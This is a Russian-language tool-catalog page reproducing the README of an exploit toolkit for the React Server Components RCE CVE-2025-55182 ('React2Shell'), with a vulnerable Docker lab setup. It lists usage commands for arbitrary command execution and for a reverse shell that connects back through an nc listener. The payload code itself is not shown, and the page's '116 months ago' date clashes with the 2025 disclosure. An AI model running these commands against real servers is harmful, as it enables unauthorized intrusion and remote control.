Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182 — Простой набор инструментов для проверки, эксплуатации и получения интерактивной оболочки через react2Shell Next.js RCE. | Kitploit
Инструменты/GitHubGitHub/j4ck3lsyn-gen2/cve-2025-55182
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubj4ck3lsyn-gen2/cve-2025-55182

CVE-2025-55182

Простой набор инструментов для проверки, эксплуатации и получения интерактивной оболочки через react2Shell Next.js RCE.

116 месяцев назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182: React2Shell - Инструментарий удаленного выполнения кода для Next.js

CVE-2025-55182 CVSS License

[!WARNING] Этот инструмент предоставлен только для авторизованного тестирования и образовательных целей. Несанкционированный доступ к сети и кража данных незаконны. Пользователи несут ответственность за получение надлежащего разрешения перед использованием этого инструмента в любой сети.

Обзор

Данный репозиторий содержит простой набор инструментов для проверки, эксплуатации и получения интерактивной оболочки через CVE-2025-55182, также известную как React2Shell. Это критическая уязвимость удаленного выполнения кода (RCE) до аутентификации в React Server Components (RSC), затрагивающая версии 19.0.0, 19.1.0, 19.1.1 и 19.2.0.

Уязвимость возникает из-за небезопасной десериализации в протоколе Flight от React, что позволяет неаутентифицированным злоумышленникам выполнять произвольный код на уязвимых серверах. Она была раскрыта 3 декабря 2025 года и имеет оценку CVSS 10.0 (Critical). Хотя в первую очередь она затрагивает React Server Components, она также имеет последствия для фреймворков, таких как Next.js, которые используют RSC.

Примечание: Этот набор инструментов предназначен только для образовательных и исследовательских целей. Несанкционированная эксплуатация уязвимостей незаконна и неэтична. Используйте ответственно и только на системах, которые вам принадлежат или на которые у вас есть явное разрешение на тестирование.

Пострадавшие компоненты

  • React Server Components: версии 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Связанные фреймворки: Next.js (потенциально через CVE-2025-66478 в некоторых контекстах)
  • Вектор эксплуатации: Небезопасная десериализация в полезных нагрузках RSC, позволяющая выполнение кода без аутентификации.

Для получения более подробной информации см. официальные уведомления:

  • NVD CVE-2025-55182
  • Консультация по безопасности React
  • Блог Wiz о React2Shell

Использование


Функции

  • Проверка: Проверить, уязвима ли цель к CVE-2025-55182.
  • Эксплуатация: Создание полезных нагрузок для выполнения произвольных команд.
  • Интерактивная оболочка: Получение обратной оболочки для постоянного доступа.
  • Поддерживает Python 3.x с минимальными зависимостями.

Требования

  • Python 3.8+
  • Необходимые библиотеки: requests, argparse (установка через pip install -r requirements.txt)

Установка

Установка в Venv

  1. Клонируйте репозиторий
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
  1. Виртуальное окружение
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
  1. Активация
source CVE202555182Venv/bin/activate[.fish]

Локальная установка

  1. Клонируйте репозиторий:
    git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
    cd CVE-2025-55182
    
  2. Установите зависимости:
    pip install -r requirements.txt
    

Использование

Основной скрипт — sploit.py. Запустите его со следующими опциями:

python sploit.py --help

Опции

  • --target <URL>: Целевой URL (например, http://vulnerable-site.com).
  • --mode <validate|sploit|shell>: Режим работы.
    • validate: Проверка уязвимости без эксплуатации.
    • sploit: Выполнение пользовательской команды.
    • shell: Установка интерактивной обратной оболочки.
  • --command <CMD>: Команда для выполнения (обязательно для режима sploit).
  • --lhost <IP>: Локальный хост для обратной оболочки (обязательно для режима shell).
  • --lport <PORT>: Локальный порт для обратной оболочки (по умолчанию: 4444).

Примеры

  1. Проверка уязвимости:

    python sploit.py --target http://example.com --mode validate
    
  2. Эксплуатация с выполнением команды:

    python sploit.py --target http://example.com --mode sploit --command "whoami"
    
  3. Получение интерактивной оболочки: Сначала настройте слушатель (например, nc -lvnp 4444), затем:

    python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
    

Как это работает

  1. Обнаружение уязвимости: Отправляет специально созданную полезную нагрузку RSC для обнаружения дефектов десериализации.
  2. Создание полезной нагрузки: Использует небезопасную десериализацию для внедрения кода через протокол Flight от React.
  3. Доступ к оболочке: Расширяет возможности до обратной оболочки путем выполнения полезной нагрузки, которая подключается обратно к машине атакующего.

Для технического погружения:

  • Анализ Datadog Security Labs
  • Блог Dynatrace

Пример выполнения


Установка Docker


{
  "dependencies": {
    "next": "14.3.0-canary.77",
    "react": "19.0.0",
    "react-dom": "19.0.0"
  },
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start"
  }
}

Полностью удалите tsconfig.json (это ключевой момент, который мешал сборке)


rm tsconfig.json

Создайте минимально необходимые файлы App Router


mkdir -p app

# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";

export default function RootLayout({
  children,
}: {
  children: React.ReactNode;
}) {
  return (
    <html lang="en">
      <body>{children}</body>
    </html>
  );
}

app/globals.css (может быть практически пустым)

echo "/* minimal css - required by Next.js */" > app/globals.css

app/page.tsx (ваша настоящая уязвимая страница здесь – пример заглушки)

cat > app/page.tsx << 'EOF'
export default function Home() {
  return (
    <main>
      <h1>react2shell lab is running!</h1>
      <p>Start sploiting → /api/vulnerable-endpoint</p>
    </main>
  );
}

Создайте окончательный пуленепробиваемый Dockerfile (точное содержимое)


FROM node:20-alpine

WORKDIR /app

# Copy only package files first (better caching)
COPY package*.json ./

# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps

# Copy the rest of the app
COPY . .

# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json

# Build the Next.js app
RUN npm run build

# Expose port
EXPOSE 3000

# Start the app
CMD ["npm", "start"]

Сборка и запуск (эти команды теперь работают идеально)


docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell

Откройте в браузере

→ http://localhost:3000Готово. Контейнер запускается менее чем за 2 секунды и готов к цепочкам прототипного загрязнения → RCE.Необязательная однострочная команда для уничтожения и перезапуска в любое время:bash

docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell
Скачать инструмент